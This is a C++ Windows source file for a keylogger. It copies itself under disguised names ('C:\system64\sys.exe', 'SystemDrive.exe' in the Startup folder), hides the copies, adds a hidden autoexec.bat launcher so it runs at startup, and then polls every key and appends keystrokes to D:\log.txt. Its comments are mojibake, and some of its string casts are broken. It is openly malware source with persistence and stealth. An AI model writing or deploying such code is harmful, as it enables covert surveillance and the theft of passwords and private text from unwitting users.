#include <cstdlib>
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <direct.h>
#include <CTime>
#include <string.h>

using namespace std;

#define _CRT_SECURE_NO_WARNINGS
#pragma warning(disable:4996)

int CALLBACK WinMain(
	HINSTANCE hInstance,
	HINSTANCE hPrevInstance,
	LPSTR lpCmdLine,
	int nCmdShow
)
{
	//%appdata%/Microsoft\Windows\Start Menu\Programs\Startup

	char dir_pl[1024];
	GetModuleFileName(NULL, (LPWSTR)dir_pl, 1024);
	time_t now = time(0);
	char* dt = ctime(&now);
	char buffer[1024];
	GetEnvironmentVariable((LPCWSTR)"APPDATA", (LPWSTR)(char*)&buffer, sizeof(buffer));


	//-------------------------------------------------
	CreateDirectory((LPCWSTR)"C:\\system64", NULL);
	SetFileAttributes((LPCWSTR)"C:\\system64", FILE_ATTRIBUTE_HIDDEN);
	//-------------------------------------------------
	CopyFile((LPCWSTR)dir_pl, (LPCWSTR)"C:\\system64\\sys.exe", FALSE);
	CopyFile((LPCWSTR)dir_pl, (LPCWSTR)strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);
	SetFileAttributes((LPCWSTR)strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FILE_ATTRIBUTE_HIDDEN);

	//-------------------------------------------------

	ofstream fut("C:\\autoexec.bat");
	fut << "\nstart C:\\system64\\sys.exe";
	fut.close();
	SetFileAttributes((LPCWSTR)"C:\\autoexec.bat", FILE_ATTRIBUTE_HIDDEN);

	//--------------------------------------------------

	//MessageBox(NULL, "0x00000007: INVALID_SOFTWARE_INTERRUPT", "ERROR", MB_OK);

	ofstream date("C:\\system64\\log.txt", ios::app);
	date << "\n|------------------------------------------\n|" << dt << "|------------------------------------------\n";
	date.close();


	// ñîçäàžì îáúåêò êëàññà ofstream äëÿ çàïèñè è ñâÿçûâàåì åãî ñ ôàéëîì cppstudio.txt
	//--------------------------------------------------
	while (true)
	{
		Sleep(200);//Çàäåðæêà
		for (int i = 1; i <= 256; i++)//Ïðîâåðêà íàæàòèÿ êàæäîé èç êëàâèøè
		{
			if (GetAsyncKeyState(i))
			{
				ofstream fout("D:\\log.txt", ios::app);
				//------------------------------------------------------------
				if (i != 1)
					fout << (char)i ;//Çàïèñü íîìåðà êëàâèøè â ëîã
				//------------------------------------------------------------
				fout.close();
			}
		}
	}

}